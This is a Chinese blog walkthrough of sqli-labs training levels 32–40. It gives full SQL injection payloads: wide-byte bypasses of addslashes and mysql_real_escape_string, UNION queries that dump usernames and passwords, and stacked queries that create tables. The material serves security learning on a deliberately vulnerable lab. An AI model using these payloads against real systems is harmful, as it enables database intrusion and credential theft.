首页 > 数据库技术 > 详细

Sqli-labs闯关题32-40题,详细解答。

时间:2020-02-28 22:58:16      阅读:152      评论:0      收藏:0      [点我收藏+]

第三十二关:Bypass addslashes()   

宽字节绕过引号转义

技术分享图片

 

 

addslashes()会在单引号前加一个\ 例如:I‘m hacker 传入addslashes(),得到:I\‘m hacker
本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6‘ 这样的构造时,‘ 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用。

 爆数据库名         ?id=-1%E6‘ union select 1,version(),database() --+

技术分享图片

 在爆列的时候我们要用到‘user’,有单引号,我们用十六进制编码替代,users 使用十六进制编码得到7573657273,构造为0x7573657273

 获取列名   ?id=-1%E6‘ union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

技术分享图片

获得用户名密码:?id=-1%E6‘ union select 1,2,group_concat(username,0x3b,password) from users--+

技术分享图片

第三十三关;Bypass addslashes() 绕过 addslashes()

和第三十二关一模一样.

得出数据库:

技术分享图片

爆用户名和密码:

技术分享图片

 第三十四关: Bypass Add SLASHES 绕过添加斜杠

变成上两关的post方式

获取数据库版本和数据库名      uname=admin%99‘ union select version(),database()#&passwd=admin&submit=Submit

技术分享图片

 获取数据库密码    uname=admin%99‘  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit(注意这关uname好像只有两个显示位)

技术分享图片

 注意获得列名的时候引号要转义

第三十五关:why care for addslashes()为什么要关心addslashes()

id没有被单引号括起来所以addslashes起不到作用

技术分享图片

测试一下,发现id周围也没有单引号或双引号,直接正常做就行了。

技术分享图片

 获得版本库名       ?id=-1 union select 1,version(),database()--+

技术分享图片

爆表名   ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名     ?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

获取用户名密码   ?id=-1 union select 1,2,group_concat(username,0x3b,password) from users# 

技术分享图片

第三十六关:GET-Bypass MYSQL_real_escape_string

这关和之前的二十二关很相似,可以用相同的方法解决,因为这关可以通过宽字节 %df 或者utf-16来解决,二十二关是utf-16

技术分享图片

获取用户名密码   ?id=-1%E6‘ union select 1,2,group_concat(username,0x3b,password) from users--+

技术分享图片

 宽字节的话就是这个样子

?id=0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+

技术分享图片

第三十七关:POST-Bypass MYSQL_real_escape_string

uname=admin%df%27 or 1=2 union select 1,database()#

获取数据库名       uname=admin%99‘ union select version(),database()#&passwd=admin&submit=Submit

技术分享图片

 获取用户名密码     uname=admin%99‘  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit

技术分享图片

 也可以用%df进行绕过  uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit

技术分享图片

 第三十八关:Future Etditions GET-Stacked-Query-injection-String

这一关又是新的篇章,用堆叠注入。mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)分号我们可以加入注入的新的语句

技术分享图片

 

 技术分享图片

单引号闭合

这关主要是往数据库中写入些什么东西(用%23进行注释)

获得版本和数据库名   ?id=0%FE‘ union select 1,version(),database() %23

获得表名    ?id=0%FE‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

技术分享图片

获得列名     ?id=0%FE‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0%FE‘ union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

技术分享图片

 当然这一关的主旨是新建表:          ?id=1‘;create table test like users;%23

技术分享图片

 再查表的时候就已经发现有我们刚才新建的表了

技术分享图片

 第三十九关:GET-Stacked Query injection-intiger bassed

和三十八关一样,没有单引号闭合,堆叠注入

 获得版本和数据库名   ?id=0 union select 1,version(),database() %23

技术分享图片

 

 

 获得表名    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

获得列名     ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23技术分享图片

 和三十八关一样,也可以进行新建表 ?id=1 ;create table test like users;%23

第四十关:GET-BLIND based-String-Stacked

和三十八关基本一样,加括号,堆叠注入

获得列名:?id=0%FE‘) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

技术分享图片

 获得用户名密码:?id=0%FE‘)union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

技术分享图片

 和三十八关一样,也可以进行新建表 ?id=1‘) ;create table test like users;%23

好了!结束!

 

 

 

 

 

 

sqli-lab教程——1-35通关Writeup

 

SQL注入靶场sqli-labs 1-65关全部通关教程

 

SQLi_Labs通关文档【1-65关】

 

Sqli-labs闯关题32-40题,详细解答。

原文:https://www.cnblogs.com/li2019/p/12380647.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!